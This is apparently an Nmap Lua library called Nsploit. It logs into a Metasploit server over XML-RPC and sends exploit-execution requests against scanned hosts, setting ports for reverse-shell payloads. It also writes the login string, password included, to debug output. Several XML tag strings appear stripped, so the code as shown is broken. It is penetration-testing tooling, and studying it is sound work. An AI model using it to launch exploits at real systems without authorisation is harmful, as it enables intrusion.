--- Nsploit functions
--- By: sussurro@happypacket.net
--@copyright See nmaps COPYING for licence
module(... or "Nsploit",package.seeall)
require "lxp/lom"
require "stdnse"
local xmlHeader = ""
function msfInit()
local filepath = nil
local socket = nil
if not nmap.registry.Nsploit then
nmap.registry.Nsploit = {}
end
if not nmap.registry.Nsploit["config"] then
if os.getenv("NSPLOIT_HOME") then
filepath = os.getenv("NSPLOIT_HOME") .. "/.Nsploit"
elseif os.getenv("HOME") then
filepath = os.getenv("HOME") .. "/.Nsploit"
elseif os.getenv("USERPROFILE") then
filepath = os.getenv("USERPROFILE") .. "\Nsploit"
else
return 0
end
local file = assert(io.open(filepath,"r"))
local config = file:read("*all")
config = string.gsub(config,"\n","")
local parsed = lxp.lom.parse(config)
config = parseConfig(parsed)
nmap.registry.Nsploit["config"] = config
end
if nmap.registry.Nsploit["socket"] then
socket = nmap.registry.Nsploit["socket"]
local try = nmap.new_try(function()
socket = msfConnect()
stdnse.print_debug(1,"Saved socket busted")
return socket
end)
try(socket:send("\n"))
nmap.registry.Nsploit["socket"] = socket
return socket
else
socket = msfConnect()
nmap.registry.Nsploit["socket"] = socket
return socket
end
end
function msfConnect(errcnt)
local loginStr = nil
local username = nmap.registry.Nsploit["config"]["username"]
local password = nmap.registry.Nsploit["config"]["password"]
local host = nmap.registry.Nsploit["config"]["host"]
local port = nmap.registry.Nsploit["config"]["port"]
local socket = nil
loginStr = genLogin(username,password)
if nmap.registry.Nsploit["socket"] ~= nil then
socket = nmap.registry.Nsploit["socket"]
return socket
end
acquireMutex()
socket = nmap.new_socket()
stdnse.print_debug(1,"New Socket Created")
if not socket:connect(host,port) then
stdnse.print_debug(1,"Connect Failed")
nmap.registry.Nsploit["mutex"] = 0
return nil
end
stdnse.print_debug(1,"Connect Success")
stdnse.print_debug(1, "Sending: " .. loginStr )
status, err = socket:send(loginStr)
if err ~= nil then
if status == nil then
releaseMutex()
socket = msfConnect(1)
return socket
else
if errcnt > 3 then
releaseMutex()
return nil
end
releaseMutex()
socket = msfConnect(errcnt + 1)
return socket
end
end
status, line = socket:receive_buf("\n", false)
if not status then
releaseMutex()
return nil
end
stdnse.print_debug(1,"Login Line: " .. line )
responseXML = lxp.lom.parse(line)
if isFault(responseXML) then
releaseMutex()
return nil
end
local loginResult = parseResponse(responseXML)
if loginResult["token"] then
if not nmap.registry.Nsploit then
nmap.registry.Nsploit = {}
end
nmap.registry.Nsploit["token"] = loginResult["token"]
nmap.registry.Nsploit["mutex"] = 0
return socket
end
releaseMutex()
return nil
end
function exploit(socket,exploit,os,ip,opt )
local options
os = os:lower()
if not os or not ip or not exploit then return "Exploit Failed" end
if not nmap.registry.Nsploit["config"]["os"][os] then return "Bad Operating System" end
if not nmap.registry.Nsploit["config"]["os"][os]["options"] then return "No Options Found" end
stdnse.print_debug(1,"Exploit function for " .. exploit .. " got a socket of type " .. type(socket))
options = nmap.registry.Nsploit["config"]["os"][os]["options"]
options["RHOST"] = ip
if type(opt) == "table" then
for k,v in pairs(opt) do
options[k] = v
end
end
if options["payload"] ~= nil and string.match(options["payload"],"reverse") then
if nmap.registry.Nsploit["LPORT"] then
nmap.registry.Nsploit["LPORT"] = nmap.registry.Nsploit["LPORT"] + 1
options["LPORT"] = nmap.registry.Nsploit["LPORT"]
else
nmap.registry.Nsploit["LPORT"] = 4444
options["LPORT"] = nmap.registry.Nsploit["LPORT"]
end
end
if socket == nil then
socket = msfConnect()
end
stdnse.print_debug(1,"socket is of type " .. type(socket) .. " in " .. exploit)
acquireMutex()
socket:send(buildExploitXML(exploit,options))
status, line = socket:receive_buf("\n", false)
releaseMutex()
if status then
local responseXML = lxp.lom.parse(line)
if isFault(responseXML) then
return "Exploit Failed"
else
return "Exploit Sent"
end
else
return "Failed"
end
end
function isResponse(t)
if(type(t) == "table") then
if(t["name"] == "methodResponse") then
return true
else
return false
end
else
return false
end
end
function parseValue(t)
if(type(t) ~= "table") then
return {}
end
local value = t[1]
ret = {}
if(value["tag"] == "struct") then
for i,v in ipairs(value) do
if(v[2][1]["tag"] == "array") then
ret[v[1][1]] = {}
for n,e in ipairs(v[2][1][1]) do
table.insert(ret[v[1][1]],e[1][1])
end
else
ret[v[1][1]] = v[2][1][1]
end
end
end
return ret
end
function parseResponse(t)
if(type(t) == "table") then
if(t["tag"] == "methodResponse" and not isFault(t)) then
if(t[1]["tag"] == "params") then
if(table.getn(t[1][1]) > 1) then
for i,v in ipairs(t[1][1]) do
stdnse.print_debug(1,i .. ":")
parseValue(v)
end
else
return parseValue(t[1][1][1])
end
end
else
stdnse.print_debug(1,"parseResponse: No methodResponse tag")
return false
end
else
stdnse.print_debug(1,"parseResponse: object is not a table")
return false
end
end
function isFault(t)
if(type(t) == "table") then
if(t[1]["tag"] == "fault") then
return true
else
return false
end
else
return false
end
end
function getFault(t)
if(type(t) == "table") then
print(table.show(t[2][1][1][1],"FAULT:"))
else
return {}
end
end
function genLogin(username,password)
local retstring
retstring = "auth.login"
retstring = retstring .. makeParam(username)
retstring = retstring .. makeParam(password)
retstring = retstring .. "\0\n"
return (retstring)
end
function parseConfig(config)
local retVal = {}
local i,v
for i,v in ipairs(config) do
if type(v[1]) == "table" then
retVal[config[i]["tag"]] = parseConfig(v)
else
if v[1] then
retVal[string.lower(config[i]["tag"])] = v[1]
end
end
end
return retVal
end
function buildExploitXML(exploit,options)
local xmlString = xmlHeader
xmlString = xmlString .. ""
xmlString = xmlString .. makeTag("methodName","module.execute")
xmlString = xmlString .. ""
xmlString = xmlString .. makeParam(nmap.registry.Nsploit["token"])
xmlString = xmlString .. makeParam("exploit")
xmlString = xmlString .. makeParam(exploit)
xmlString = xmlString .. makeParam(options)
xmlString = xmlString .. ""
xmlString = xmlString .. "\0"
return xmlString
end
function makeTag(header,myvalue)
retstring = "<" .. header .. ">" .. myvalue .. "" .. header .. ">"
return retstring
end
function makeParam(value)
local tempString,node = "",nil
if type(value) == "array" or type(value) == "table" then
for k,v in pairs(value) do
node = makeTag("name",string.upper(k))
node = node .. makeTag("value",makeTag("string",v))
node = makeTag("member",node)
tempString = tempString .. node
end
return makeTag("param",makeTag("value",makeTag("struct",tempString)))
else
return makeTag("param",makeTag("value",makeTag("string",value)))
end
end
function hostMatch(os,check)
if os == nil or check == nil then
return false
end
if type(os) == "string" then
if string.match(os,check) then
return true
else
return false
end
end
if type(os) == "table" then
for k,v in pairs(os) do
if string.match(v,check) then
return true
end
end
end
return false
end
function acquireMutex()
if nmap.registry.Nsploit["mutex"] then
while nmap.registry.Nsploit["mutex"] == 1 do
mysocket = nmap.new_socket()
mysocket:set_timeout(1000)
mysocket:connect("localhost",0)
stdnse.print_debug(1,"Waiting on Mutex")
end
end
stdnse.print_debug(1,"Got Mutex")
nmap.registry.Nsploit["mutex"] = 1
end
function releaseMutex()
stdnse.print_debug(1,"Giving Up Mutex")
if nmap.registry.Nsploit["mutex"] then
nmap.registry.Nsploit["mutex"] = 0
end
end